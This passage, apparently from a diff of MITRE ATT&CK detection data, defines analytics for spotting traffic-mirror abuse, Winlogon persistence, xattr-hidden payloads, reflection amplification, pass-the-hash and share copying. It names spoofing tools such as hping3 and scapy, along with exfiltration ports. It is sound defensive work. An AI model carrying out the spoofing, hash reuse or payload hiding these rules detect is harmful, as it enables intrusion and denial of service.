"x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "AWS:CloudTrail", + "channel": "CreateTrafficMirrorSession or ModifyTrafficMirrorTarget" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "AWS:VPCFlowLogs", + "channel": "Traffic observed on mirror destination instance" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Detect mirror session creation followed by mirrored traffic within X seconds (e.g., 60s)" + }, + { + "field": "MirrorDestinationCIDR", + "description": "Define suspicious or external mirror targets (e.g., non-enterprise ranges)" + }, + { + "field": "UserIdentity", + "description": "Flag traffic mirror activity by non-privileged or unexpected IAM roles" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0729dd54-2fda-460a-8bb3-eee02f0f3c4e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0403#AN1132", + "external_id": "AN1132" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1132", + "description": "Unauthorized mirroring sessions initiated on routers/switches (e.g., via `monitor session`, `mirror port`) coupled with outbound traffic from mirrored interface to unexpected destinations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "networkdevice:syslog", + "channel": "Config change: CLI/NETCONF/SNMP \u2013 'monitor session', 'mirror port'" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "networkdevice:Flow", + "channel": "Traffic from mirrored interface to mirror target IP" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ConfigChangeType", + "description": "Tune based on accepted interface config changes (e.g., audit only mirror session creation)" + }, + { + "field": "MirrorDestinationPort", + "description": "Define high-risk ports used for exfil (e.g., 4443, 8443, 2055)" + }, + { + "field": "DeviceRole", + "description": "Define whether mirroring is expected on edge vs core vs distribution devices" + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e8569cdc-a018-4eee-95d9-5979cebae519", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0404#AN1133", + "external_id": "AN1133" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1133", + "description": "Monitor Windows Registry modifications to Winlogon keys (Shell, Userinit, Notify) that introduce new executable or DLL paths. Correlate these changes with subsequent DLL loading, image loads, or process creation originating from winlogon.exe or userinit.exe. Abnormal child process lineage or unauthorized binaries in C:\\Windows\\System32 may indicate abuse.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Security", + "channel": "modification to Winlogon registry keys such as Shell, Notify, or Userinit" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ed0dd8aa-1677-4551-bb7d-8da767617e1b", + "name": "Autoruns:RegistryScan", + "channel": "Enumerate Winlogon subkeys for unknown or unsigned binaries" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Time correlation between registry modification and malicious module load or process creation" + }, + { + "field": "UserContext", + "description": "Privilege level or user context under which registry changes or process executions occur" + }, + { + "field": "BinarySignatureValidation", + "description": "Whether to validate binary signatures when DLLs are loaded via Winlogon helper paths" + }, + { + "field": "ExecutablePathScope", + "description": "Scope of directories considered suspicious for helper DLLs (e.g., temp paths, non-System32 locations)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--11dd0dbf-e880-43d2-99f7-4b6bf9d821fa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0405#AN1134", + "external_id": "AN1134" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1134", + "description": "Correlates LNK file execution with embedded resource extraction or suspicious network activity following initial launch, often leading to payload delivery via disguised icons.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=15" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcessName", + "description": "Can be tuned to focus on common launcher processes like explorer.exe or winword.exe." + }, + { + "field": "DestinationIP", + "description": "Filtered to exclude known good domains and internal IPs to reduce false positives." + }, + { + "field": "TimeWindow", + "description": "Time between LNK execution and subsequent suspicious activity may vary based on adversary delay." + }, + { + "field": "FileExtension", + "description": "Could be used to focus on .lnk files only or track associated dropped payloads like .dat, .exe, etc." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f398e8ff-8c61-4672-8ace-118b11a38515", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0406#AN1135", + "external_id": "AN1135" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1135", + "description": "Abuse of extended attributes (xattrs) to embed hidden payloads into legitimate files. Defender perspective: detect anomalous use of setfattr or getfattr commands, or direct syscalls (setxattr, getxattr) where attributes are unusually large or contain encoded data. Behavior chain includes: (1) execution of setfattr with suspicious namespaces (user., trusted.), (2) file metadata modification inconsistent with file size/hash, and (3) subsequent process execution reading attributes followed by decoding activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "auditd:SYSCALL", + "channel": "setxattr or getxattr system call" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:EXECVE", + "channel": "execution of setfattr or getfattr commands" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "XattrNamespaces", + "description": "Namespaces monitored for suspicious activity (user., trusted., security.). Organizations may tune to reduce noise from benign use." + }, + { + "field": "PayloadSizeThreshold", + "description": "Size of xattr values above which they should be considered anomalous (e.g., >1KB)." + }, + { + "field": "CorrelationWindow", + "description": "Time window to correlate xattr modification with process execution from the same file." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f5a0dc9d-3dda-4e31-ad4d-0560b918b6b1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0406#AN1136", + "external_id": "AN1136" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1136", + "description": "Abuse of extended attributes (xattrs) to hide payloads in com.apple.* or custom keys. Defender perspective: monitor suspicious use of xattr command with -w (write) and -p (print) flags, especially when followed by execution of interpreters like bash, Python, or osascript. Behavior chain includes: (1) suspicious file modification with new com.apple.* attributes, (2) attribute content inconsistent with expected metadata tags (e.g., high entropy), (3) subsequent process execution correlated with extraction of the attribute.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "xattr utility execution with -w or -p flags" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "macos:unifiedlog", + "channel": "extended attribute write or modification" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WatchedXattrKeys", + "description": "Specific xattr keys to monitor (e.g., com.apple.quarantine, com.apple.ResourceFork, unknown custom keys)." + }, + { + "field": "EntropyThreshold", + "description": "High entropy attribute values may indicate encoded or encrypted payloads." + }, + { + "field": "ProcessContext", + "description": "Expected legitimate applications interacting with xattrs (Finder, Spotlight) to help reduce false positives." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9c53e92a-3659-4137-881a-f4002af9c688", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0407#AN1137", + "external_id": "AN1137" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1137", + "description": "Detects anomalous usage of local accounts to log into a system, especially accounts not typically used interactively or outside business hours.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "WinEventLog:Security", + "channel": "EventCode=4624" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "WinEventLog:Security", + "channel": "EventCode=4672" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Tune for normal business hours to reduce false positives from legitimate after-hours work." + }, + { + "field": "UserContext", + "description": "Define list of legitimate local users for interactive access." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--269f36b6-77fa-4959-9e63-e30036c991d7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0407#AN1138", + "external_id": "AN1138" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1138", + "description": "Detects interactive or service logins from local accounts outside expected operational context or at anomalous times.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "auditd:USER_LOGIN", + "channel": "USER_LOGIN" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "linux:auth", + "channel": "sshd login" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Define operational hours or expected login times per host." + }, + { + "field": "HostRole", + "description": "Differentiate expected behavior for server vs. workstation." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d6288db6-ff55-4720-b0ee-7aca3e65cc72", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0407#AN1139", + "external_id": "AN1139" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1139", + "description": "Detects abnormal or rare logins via local accounts through system or remote mechanisms such as SSH.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "macos:unifiedlog", + "channel": "loginwindow or sshd" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Restrict expected local users by device owner or role." + }, + { + "field": "TimeWindow", + "description": "Set appropriate bounds based on endpoint usage patterns." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--fdf11d76-3bd7-41c4-b117-7b0f17b31b17", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0408#AN1140", + "external_id": "AN1140" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1140", + "description": "Outbound spoofed traffic to known amplification protocols (e.g., DNS, NTP, Memcached) combined with abnormal network traffic volume targeting remote reflectors, resulting in disproportionate traffic returned to a victim", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "Windows:perfmon", + "channel": "Sudden spike in outbound throughput without corresponding inbound traffic" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Interval for measuring sudden outbound spike or volume pattern" + }, + { + "field": "AmplificationProtocolPorts", + "description": "List of known ports used for reflection amplification (e.g., 53/DNS, 123/NTP, 11211/Memcached)" + }, + { + "field": "PacketToByteRatio", + "description": "Heuristic threshold where the response volume far outweighs the request volume" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--eb7692b0-5592-4d23-ba06-fdded48a2a0d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0408#AN1141", + "external_id": "AN1141" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1141", + "description": "Spoofed outbound packets sent to amplification services from command-line tools or scripts, combined with abnormal outbound packet volume on known reflector ports", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "Execution of spoofing tools (e.g., hping3, nping, scapy) sending UDP packets to known amplifier ports" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "Outbound UDP floods targeting common reflection services with spoofed IP headers" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "sar:network", + "channel": "Outbound network saturation with minimal process activity" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Sliding interval for detecting volumetric anomalies" + }, + { + "field": "AmplificationProtocolList", + "description": "Which protocols to watch (e.g., DNS, NTP, SSDP, Memcached)" + }, + { + "field": "ExecutionToolList", + "description": "Set of binaries and scripts commonly abused for spoofing/reflection" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--44c2e32e-bd34-4ba9-8105-28c14309207c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0408#AN1142", + "external_id": "AN1142" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1142", + "description": "Command-line initiated UDP traffic bursts to external reflection amplification ports using built-in scripting or binaries with network anomalies", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Execution of ping, nping, or crafted network packets via bash or python to reflection services" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "macos:unifiedlog", + "channel": "Outbound UDP spikes to external reflector IPs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ReflectionPorts", + "description": "Ports known for reflection abuse \u2014 DNS, NTP, SSDP, Memcached" + }, + { + "field": "TrafficSpikeThreshold", + "description": "How much deviation in outbound traffic constitutes a suspicious spike" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--08c69003-044c-46a5-b17a-7cb5b25f2d50", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0408#AN1143", + "external_id": "AN1143" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1143", + "description": "Cloud-hosted VM or container generates spoofed UDP requests to third-party services on known amplifier ports, with high outbound-to-inbound traffic ratios in VPC Flow Logs", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d2ff4b56-8351-4ed8-b0fb-d8605366005f", + "name": "AWS:CloudTrail", + "channel": "Create egress rule allowing UDP to port 53, 123, 11211" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "AWS:VPCFlowLogs", + "channel": "Large outbound UDP traffic to multiple public reflector IPs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "AWS:CloudWatch", + "channel": "Sudden spike in network output without a corresponding inbound request ratio" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "EgressRulePorts", + "description": "Cloud security group rules permitting UDP to reflector protocols" + }, + { + "field": "OutboundToInboundRatio", + "description": "Ratio threshold to flag traffic as potential reflection behavior" + }, + { + "field": "VMInstanceTagContext", + "description": "Cloud metadata that can help scope anomalous behavior to development, testing, or external-facing services" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d1bcc6a4-e84a-4251-b86b-e8fe2ecc0dd1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0409#AN1144", + "external_id": "AN1144" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1144", + "description": "Detects anomalous NTLM LogonType 3 authentications that occur without accompanying domain logon events, especially from lateral systems or involving built-in administrative tools. Monitors for mismatches between source user context and system being accessed. Correlates LogonSession creation, NTLM authentications, and process/service initiation to identify suspicious use of stolen password hashes for remote access or service logon without password entry. Detects overpass-the-hash by combining Kerberos ticket issuance with NTLM-based lateral movement.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "WinEventLog:Security", + "channel": "4624" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--02d090b6-8157-48da-98a2-517f7edd49fc", + "name": "WinEventLog:Security", + "channel": "EventCode=4768" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Allows tuning the correlation timeframe between authentication, session creation, and process/network activity." + }, + { + "field": "SourceAccountAnomalyThreshold", + "description": "Supports tuning detection sensitivity based on deviations from normal user login patterns or usage context." + }, + { + "field": "LogonTypeFilter", + "description": "Allows focusing detection on specific logon types (e.g., LogonType 3 for network logon, Type 10 for RDP)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--72ba4979-f786-4205-a5da-90874e12813f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0410#AN1145", + "external_id": "AN1145" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1145", + "description": "Monitoring of file access to network shares (e.g., C$, Admin$) followed by unusual read or copy operations by processes not typically associated with such activity (e.g., PowerShell, certutil).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--f5468e67-51c7-4756-9b4f-65707708e7fa", + "name": "WinEventLog:Security", + "channel": "EventCode=5145" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ShareName", + "description": "Organizations may use custom share paths outside of default C$, Admin$, etc." + }, + { + "field": "ProcessName", + "description": "Common toolsets vary; defenders should tailor to unusual processes for their environment." + }, + { + "field": "TimeWindow", + "description": "Time of day and access duration may need to be tuned to reduce false positives." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2d1d5482-b82b-45ff-9563-959766d373ff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0410#AN1146", + "external_id": "AN1146" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1146", + "description": "Unusual access or copying of files from mounted network drives (e.g., NFS, CIFS/SMB) by user shells or scripts followed by large data transfer.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open,read" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--73ff2dcc-24b1-4368-b9dc-706dd9e68354", + "name": "linux:syslog", + "channel": "mount/umount or file copy logs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MountPoint", + "description": "Organization-specific share mount paths may vary (/mnt/share1, /srv/data etc.)" + }, + { + "field": "UID", + "description": "May need to scope to service accounts or user ID patterns specific to enterprise policy." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--67ca77c9-074f-4c93-9592-cabe9ba8a831", + "created_by_ref": 